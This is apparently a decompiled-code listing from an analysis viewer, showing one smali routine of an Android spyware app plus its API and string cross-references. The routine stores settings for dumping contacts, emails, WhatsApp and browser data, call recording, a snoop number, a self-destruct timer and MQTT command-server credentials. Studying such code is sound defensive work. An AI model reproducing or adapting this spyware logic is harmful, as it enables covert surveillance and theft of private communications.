      77invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      78move-result-object v5
      80invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      81add-int/lit8 v0, v0, 0x1
      82goto/16 :goto_37
      83cond_6f:
      84invoke-interface {v4}, Landroid/content/SharedPreferences$Editor;->commit()Z
      85cond_72:
      86sget-object v0, Lcom/network/b/b;->g:Ljava/lang/String;
      87if-eqz v0, :cond_81
      89const-string v0, "WindowTargetSms"
      91sget-object v3, Lcom/network/b/b;->g:Ljava/lang/String;
      93invoke-static {v3}, Lcom/network/b/b;->i(Ljava/lang/String;)Ljava/lang/String;
      94move-result-object v3
      96invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      97cond_81:
      98sget-object v0, Lcom/network/b/b;->f:Ljava/lang/String;
      99if-eqz v0, :cond_90
      101const-string v0, "Skypi"
      103sget-object v3, Lcom/network/b/b;->f:Ljava/lang/String;
      105invoke-static {v3}, Lcom/network/b/b;->i(Ljava/lang/String;)Ljava/lang/String;
      106move-result-object v3
      108invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      109cond_90:
      110const-string v0, "url address"
      112sget-object v3, Lcom/network/b/b;->z:Ljava/lang/String;
      114invoke-static {v3}, Lcom/network/b/b;->i(Ljava/lang/String;)Ljava/lang/String;
      115move-result-object v3
      117invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      119const-string v0, "lastComunication"
      121sget-object v3, Lcom/network/b/b;->i:Ljava/lang/Long;
      123invoke-virtual {v3}, Ljava/lang/Long;->longValue()J
      124move-result-wide v3
      126invoke-interface {v2, v0, v3, v4}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
      128const-string v0, "lastSend"
      129sget-wide v3, Lcom/network/b/b;->H:J
      131invoke-interface {v2, v0, v3, v4}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
      133const-string v0, "lastReceive"
      134sget-wide v3, Lcom/network/b/b;->I:J
      136invoke-interface {v2, v0, v3, v4}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
      138const-string v0, "send"
      139sget v3, Lcom/network/b/b;->J:I
      141invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      143const-string v0, "receive"
      144sget v3, Lcom/network/b/b;->K:I
      146invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      148const-string v0, "sesseions"
      149sget v3, Lcom/network/b/b;->L:I
      151invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      153const-string v0, "wasPhoneWasUnmutedAfterTapNicly"
      154sget v3, Lcom/network/b/b;->M:I
      156invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      158const-string v0, "originalVibrateValue"
      159sget v3, Lcom/network/b/b;->O:I
      161invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      163const-string v0, "originalRingerValue"
      164sget v3, Lcom/network/b/b;->N:I
      166invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      168const-string v0, "errorCode"
      169sget-short v3, Lcom/network/b/b;->j:S
      171invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      173sget-object v0, Lcom/network/b/b;->P:Ljava/lang/Integer;
      174if-nez v0, :cond_f2
      175const v0, 0x4f1a00
      177invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      178move-result-object v0
      179sput-object v0, Lcom/network/b/b;->P:Ljava/lang/Integer;
      180cond_f2:
      181const-string v0, "maxTimeWithNoComunication"
      183sget-object v3, Lcom/network/b/b;->P:Ljava/lang/Integer;
      185invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
      186move-result v3
      188invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      190const-string v0, "failureCount"
      191sget v3, Lcom/network/b/b;->k:I
      193invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      195const-string v0, "grace"
      196sget-boolean v3, Lcom/network/b/b;->R:Z
      198invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      200const-string v0, "packageVersion"
      202sget-object v3, Lcom/network/b/b;->l:Ljava/lang/String;
      204invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      206const-string v0, "vulnarbilityIndicator"
      208sget-object v3, Lcom/network/b/b;->m:Ljava/lang/String;
      210invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      212const-string v0, "commandTimeStamp"
      214sget-object v3, Lcom/network/android/a/c;->b:Ljava/lang/String;
      216invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      218const-string v0, "adlocation"
      219sget-wide v3, Lcom/network/b/b;->S:J
      221invoke-interface {v2, v0, v3, v4}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
      223const-string v0, "adrate"
      224sget-wide v3, Lcom/network/b/b;->T:J
      226invoke-interface {v2, v0, v3, v4}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
      228const-string v0, "userNetwork"
      230sget-object v3, Lcom/network/b/b;->o:Ljava/lang/String;
      232invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      234const-string v0, "installation"
      236sget-object v3, Lcom/network/b/b;->e:Ljava/lang/String;
      238invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      240const-string v0, "windowYuliyus"
      242sget-object v3, Lcom/network/b/b;->W:Ljava/lang/Boolean;
      244invoke-virtual {v3}, Ljava/lang/Boolean;->booleanValue()Z
      245move-result v3
      247invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      249const-string v0, "window canada"
      251sget-object v3, Lcom/network/b/b;->X:Ljava/lang/Boolean;
      253invoke-virtual {v3}, Ljava/lang/Boolean;->booleanValue()Z
      254move-result v3
      256invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      258const-string v0, "graceTime"
      259sget-wide v3, Lcom/network/b/b;->h:J
      261invoke-interface {v2, v0, v3, v4}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
      263const-string v0, "finish"
      264sget-boolean v3, Lcom/network/b/b;->p:Z
      266invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      268const-string v0, "callWindow"
      269sget-boolean v3, Lcom/network/b/b;->q:Z
      271invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      273const-string v0, "dumpContacts"
      274sget-boolean v3, Lcom/network/b/b;->r:Z
      276invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      278const-string v0, "dumpBrowserData"
      279sget-boolean v3, Lcom/network/b/b;->s:Z
      281invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      283const-string v0, "smsWindow"
      284sget-boolean v3, Lcom/network/b/b;->t:Z
      286invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      288const-string v0, "dumpCalander"
      289sget-boolean v3, Lcom/network/b/b;->u:Z
      291invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      293const-string v0, "firstRun"
      294sget-boolean v3, Lcom/network/b/b;->v:Z
      296invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      298const-string v0, "dumpMails"
      299sget-boolean v3, Lcom/network/b/b;->w:Z
      301invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      303const-string v0, "forwarding"
      304sget-boolean v3, Lcom/network/android/monitor/observer/t;->a:Z
      306invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      308const-string v0, "allowRomingType"
      309sget v3, Lcom/network/b/b;->Y:I
      311invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      313const-string v0, "logNetwork"
      315sget-object v3, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      317invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      319const-string v0, "ScreenTimeout"
      320sget v3, Lcom/network/b/b;->x:I
      322invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      324const-string v0, "wanted_debug_level"
      325sget v3, Lcom/network/b/b;->A:I
      327invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      329const-string v0, "screenProximtySensor"
      330sget v3, Lcom/network/b/b;->y:I
      332invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      334const-string v0, "romingSetted"
      336invoke-static {}, Lcom/network/android/AndroidCallDirectWatcher;->a()Z
      337move-result v3
      339invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      341const-string v0, "mqttPassword"
      343sget-object v3, Lcom/network/b/b;->Z:Ljava/lang/String;
      345invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      347const-string v0, "did_we_restart_after_upgrade_already"
      348sget-boolean v3, Lcom/network/b/b;->B:Z
      350invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      352const-string v0, "mqttAllowedConnectionType"
      353sget v3, Lcom/network/b/b;->ad:I
      355invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      357const-string v0, "should_use_mqtt"
      358sget-boolean v3, Lcom/network/b/b;->aa:Z
      360invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      362const-string v0, "mqttRecCount"
      363sget v3, Lcom/network/b/b;->ah:I
      365invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      367const-string v0, "mqttUsername"
      369sget-object v3, Lcom/network/b/b;->ac:Ljava/lang/String;
      371invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      373const-string v0, "mqttIdPref"
      375sget-object v3, Lcom/network/b/b;->ae:Ljava/lang/String;
      377invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      379const-string v0, "mqttQos"
      380sget v3, Lcom/network/b/b;->af:I
      382invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      384const-string v0, "mqttKaTimer"
      385sget v3, Lcom/network/b/b;->ag:I
      387invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      389const-string v0, "mqttPort"
      391sget-object v3, Lcom/network/b/b;->ai:Ljava/lang/String;
      393invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      395const-string v0, "mqttHost"
      397sget-object v3, Lcom/network/b/b;->aj:Ljava/lang/String;
      399invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      401const-string v0, "mqttRecInt"
      402sget v3, Lcom/network/b/b;->ab:I
      404invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      406const-string v0, "networkKill"
      407sget-boolean v3, Lcom/network/android/a/c;->i:Z
      409invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      411sget-object v0, Lcom/network/b/b;->al:Ljava/lang/Integer;
      412if-eqz v0, :cond_22e
      414const-string v0, "pollingInterval"
      416sget-object v3, Lcom/network/b/b;->al:Ljava/lang/Integer;
      418invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
      419move-result v3
      421invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
      422cond_22e:
      423const-string v0, "local"
      425sget-object v3, Lcom/network/b/b;->C:Ljava/lang/Boolean;
      427invoke-virtual {v3}, Ljava/lang/Boolean;->booleanValue()Z
      428move-result v3
      430invoke-interface {v2, v0, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      432invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
      433new-instance v0, Ljava/lang/StringBuilder;
      435const-string v2, "Save Data parameters targetSms: "
      437invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      439sget-object v2, Lcom/network/b/b;->g:Ljava/lang/String;
      441invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      442move-result-object v0
      444const-string v2, ", outSnoopNumber: "
      446invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      447move-result-object v0
      449sget-object v2, Lcom/network/b/b;->f:Ljava/lang/String;
      451invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      452move-result-object v0
      454const-string v2, ", simSerialNumber: "
      456invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      457move-result-object v0
      459sget-object v2, Lcom/network/android/BootReceiver;->a:Ljava/lang/String;
      461invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      462move-result-object v0
      464invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      465move-result-object v0
      467invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      468new-instance v0, Ljava/lang/StringBuilder;
      470const-string v2, "parameters Call Recoeding: "
      472invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      474sget-object v2, Lcom/network/b/b;->X:Ljava/lang/Boolean;
      476invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      477move-result-object v0
      479const-string v2, " ,lastComunication: "
      481invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      482move-result-object v0
      484sget-object v2, Lcom/network/b/b;->i:Ljava/lang/Long;
      486invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      487move-result-object v0
      489const-string v2, ", dumpFinish: "
      491invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      492move-result-object v0
      493sget-boolean v2, Lcom/network/b/b;->p:Z
      495invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      496move-result-object v0
      498const-string v2, ", current log file: "
      500invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      501move-result-object v0
      503sget-object v2, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      505invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      506move-result-object v0
      508invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      509move-result-object v0
      511invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      512new-instance v0, Ljava/lang/StringBuilder;
      514const-string v2, "parameters Self destruction time: "
      516invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      518sget-object v2, Lcom/network/b/b;->P:Ljava/lang/Integer;
      520invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      521move-result-object v0
      523const-string v2, " urlToRemove: "
      525invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      526move-result-object v0
      528sget-object v2, Lcom/network/b/b;->z:Ljava/lang/String;
      530invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      531move-result-object v0
      533invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      534move-result-object v0
      536invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      537new-instance v0, Ljava/lang/StringBuilder;
      539const-string v2, "parameters dumpFinish: "
      541invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      542sget-boolean v2, Lcom/network/b/b;->p:Z
      544invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      545move-result-object v0
      547const-string v2, " dumpSMS: "
      549invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      550move-result-object v0
      551sget-boolean v2, Lcom/network/b/b;->q:Z
      553invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      554move-result-object v0
      556const-string v2, " dumpWhatsApp: "
      558invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      559move-result-object v0
      560sget-boolean v2, Lcom/network/b/b;->v:Z
      562invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      563move-result-object v0
      565const-string v2, " dumpEmails: "
      567invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      568move-result-object v0
      569sget-boolean v2, Lcom/network/b/b;->w:Z
      571invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      572move-result-object v0
      574const-string v2, " dumpContacts: "
      576invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      577move-result-object v0
      578sget-boolean v2, Lcom/network/b/b;->r:Z
      580invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      581move-result-object v0
      583const-string v2, " dumpCalander: "
      585invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      586move-result-object v0
      587sget-boolean v2, Lcom/network/b/b;->u:Z
      589invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      590move-result-object v0
      592const-string v2, " dumpCall: "
      594invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      595move-result-object v0
      596sget-boolean v2, Lcom/network/b/b;->t:Z
      598invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      599move-result-object v0
      601invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      602move-result-object v0
      604invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      605new-instance v0, Ljava/lang/StringBuilder;
      607const-string v2, "Save Data parameters wantedDebugLevel: "
      609invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      610sget v2, Lcom/network/b/b;->A:I
      612invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      613move-result-object v0
      615const-string v2, " pollingInterval: "
      617invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      618move-result-object v0
      620sget-object v2, Lcom/network/b/b;->al:Ljava/lang/Integer;
      622invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      623move-result-object v0
      625invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      626move-result-object v0
      628invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      629try_end_33c: goto/16 :goto_8
      630catch_33e: move-exception v0
      631try_start_33f:
      632const-string v2, "savePreferences exception"
      634invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      635try_end_344: goto/16 :goto_8
      636catchall_346: move-exception v0
      637monitor-exit v1
      638throw v0
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getCount
      • android.util.Xml.newSerializer
      • java.io.StringWriter.<init>
      • com.network.android.SmsReceiver.a
      • android.database.Cursor.moveToNext
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.io.StringWriter.getBuffer
      • java.lang.StringBuffer.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.StringWriter.getBuffer
      • java.lang.StringBuffer.length
      • com.network.android.SmsReceiver.a
      • java.io.StringWriter.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.io.StringWriter.getBuffer
      • java.lang.StringBuffer.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Thread.sleep
      • android.util.Xml.newSerializer
      • java.io.StringWriter.<init>
      • com.network.android.SmsReceiver.a
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getString
      • android.database.Cursor.getString
      • android.database.Cursor.getString
      • android.database.Cursor.getString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.SmsReceiver.a
      • java.io.StringWriter.toString
      • android.database.Cursor.moveToLast
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.edit
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.commit
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetContentIM addImEntries Messages count :
      • imSession
      • GetContentIM addImEntries buffer lenth:
      • , index:
      • GetContentIM addImEntries 100k chunk buffer lenth:
      • facebook
      • twitter
      • GetContentIM addImSingleEntryTwitter index:
      • text
      • msg_id
      • thread_id
      • timestamp
      • sender
      • participants
      • GetContentIM addImSingleEntryTwitter EMPTY MESSAGE -> CONTINUE:
      • GetContentIM addImSingleEntryTwittermsg:
      • , sender id:
      • GetContentIM addImSingleEntryTwitter timestamp_ms:
      • , participants id:
      • GetContentIM addImSingleEntryTwitter by date:
      • ,
      • GetContentIM addImSingleEntryTwitter participantsSb:
